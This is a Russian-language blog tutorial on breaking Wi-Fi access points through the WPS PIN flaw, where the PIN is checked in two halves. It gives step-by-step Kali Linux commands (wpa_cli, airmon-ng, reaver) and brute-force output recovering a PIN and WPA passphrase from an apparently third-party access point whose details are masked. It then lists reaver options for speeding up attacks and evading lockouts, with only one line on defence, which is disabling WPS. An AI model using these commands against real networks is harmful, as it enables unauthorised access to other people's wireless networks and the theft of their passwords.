Частенько бывает так, что поставив супер-мегасложный (читай длинный) WPA2 пароль на свою точку доступа люди банально забывают про WPS (Wi-Fi Protected Setup). (Это хорошо, пока не добрались до 4g маршрутизаторов). Итак, что за зверь “WPS”? WPS – технология, облегчающая настройку клиента на работу с беспроводной точкой доступа.
На корпусе устройства имеется 8-мизначный PIN-код (значащих цифр 7, восьмая – контрольная, вычисляется на основании первых семи). Передав этот пин в точку устройство в ответ получит остальные параметры (ESSID имя и PSK – парольную фразу) в открытом виде. Итак, семь знаков пин-кода. Это десять миллионов комбинаций. На проверку пин-кода уходит от нескольких секунд до пол минуты. Слишком долго.
Да вот только в стандарте WPS была допущена фатальная ошибка. Оказывается PIN код проверяется в два этапа. Делится на половины и каждая часть проверяется отдельно!
Сам процесс обмена данными аутентификации можно представить в виде 8 сообщений. Message1 идёт от клиента в точку доступа. Message2 – идёт обратно (ответ), и так далее.
Так вот, забавное в этой ситуации то, что пакет EAP_NACK (сброс соединения при неуспешной аутентификации) клиент получит в сообщении M4 когда первая часть пин-кода неверна. И то же самое в сообщении M6, если неверна вторая часть.
Идём по самому неблагополучному сценарию, чтобы узнать первую часть PIN-кода, нужно перебрать от 0000 до 9999 = 10.000 вариантов! А узнать последние три цифры от 000 до 999 – ещё 1.000. Всего 11.000 вариантов! Уже намного меньше 10 миллионов, как заявлено раньше.
Автоматизировать этот перебор поможет утилита reaver, которая уже есть в паке Kali Linux. Пользоваться ей ужасно просто.
Этапы раскрытия парольной фразы на точке доступа с WPS
- Получаем список точек доступа с WPS.
Для этого я пользуюсь консольной WPA_CLI, в командной строке которого последовательно ввожу scan и scan_results. Там ищу точки с методом [WPS]; - Разворачиваем антенну так, чтобы качество сигнала было наилучшим. У меня направленная антенна TP-LINK TL-ANT2414A
Качество сигнала я проверяю при помощи airodump-ng mon0, где mon0 – интерфейс в режиме монитора. Чем больше значение, тем лучше сигнал. В идеале это больше -60. Если есть точки до которых -50 или выше,
root@kali:~# airmon-ng
Interface Chipset Driverwlan0 Unknown brcmsmac – [phy0]
wlan1 Ralink RT2870/3070 rt2800usb – [phy1]
root@kali:~# airmon-ng start wlan1
Появится интерфейс mon0 - Пускаем перебор
root@kali:~# reaver -i mon0 -b 84:C9:**:**:**:** -va
(закрыл звёздочками, чтобы не палить)
Результат пришел через несколько часов:
[+] 97.47% complete @ 2015-03-28 18:41:26 (6 seconds/pin)
[+] Max time remaining at this rate: 0:27:48 (278 pins left to try)
[+] Trying pin 31******
[+] Trying pin 31******
[+] Trying pin 31******
[+] WPS PIN: '31******'
[+] WPA PSK: '**********'
[+] AP SSID: '*******************'
Вот так, а защититься от этой напасти нужно отключением WPS в настройках точки доступа. Не такая уж и необходимая тема. Хотя сдаст пароли при первой же возможности. Будьте бдительны!
Опции оптимизации перебора
Можно задать номер канала и SSID точки доступа:
# reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
Благотворно сказывается на скорости брутфорса опция ‘–dh-small’, которая задает небольшое значение секретного ключа, тем самым облегчая расчеты на стороне точки доступа:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small
Таймаут ожидания ответа по умолчанию равен пяти секундам. При необходимости его можно изменить:
# reaver -i mon0 -b 00:01:02:03:04:05 -t 2
Задержка между попытками по умолчанию равна одной секунде. Она также может быть настроена:
# reaver -i mon0 -b 00:01:02:03:04:05 -d 0
Некоторые точки доступа могут блокировать WPS на определенное время, заподозрив, что их пытаются поиметь. Reaver эту ситуацию замечает и делает паузу в переборе на 315 секунд по умолчанию, длительность этой паузы можно менять:
# reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
Некоторые реализации протокола WPS разрывают соединение при неправильном PIN-коде, хотя по спецификации должны возвращать особое сообщение. Reaver автоматически распознает такую ситуацию, для этого существует опция ‘–nack’:
# reaver -i mon0 -b 00:01:02:03:04:05 --nack
Опция ‘–eap-terminate’ предназначена для работы с теми АР, которые требуют завершения WPS-сессии с помощью сообщения EAP FAIL:
# reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
Возникновение ошибок в WPS-сессии может означать, что АР ограничивает число попыток ввода PIN-кода, либо просто перегружена запросами. Информация об этом будет отображаться на экране. В этом случае Reaver приостанавливает свою деятельность, причем время паузы может быть задано с помощью опции ‘–fail-wait’:
# reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360
Беспроводка зло ) Никогда не любил Wi-Fi за его псевдобезопасность. Да и не полюблю, наверно, никогда.
А всё ломается… WPA/WPA2 – перебором, причём оффлайновым. Спасёт только установка длинного пароля.
WEP – распределенной атакой опять же на собранные пакеты.
WPS – онлайн перебор пин-кодов.
Стоит ли говорить о том, что обойти защиту по MAC или скрытый ESSID точки – довольно легко.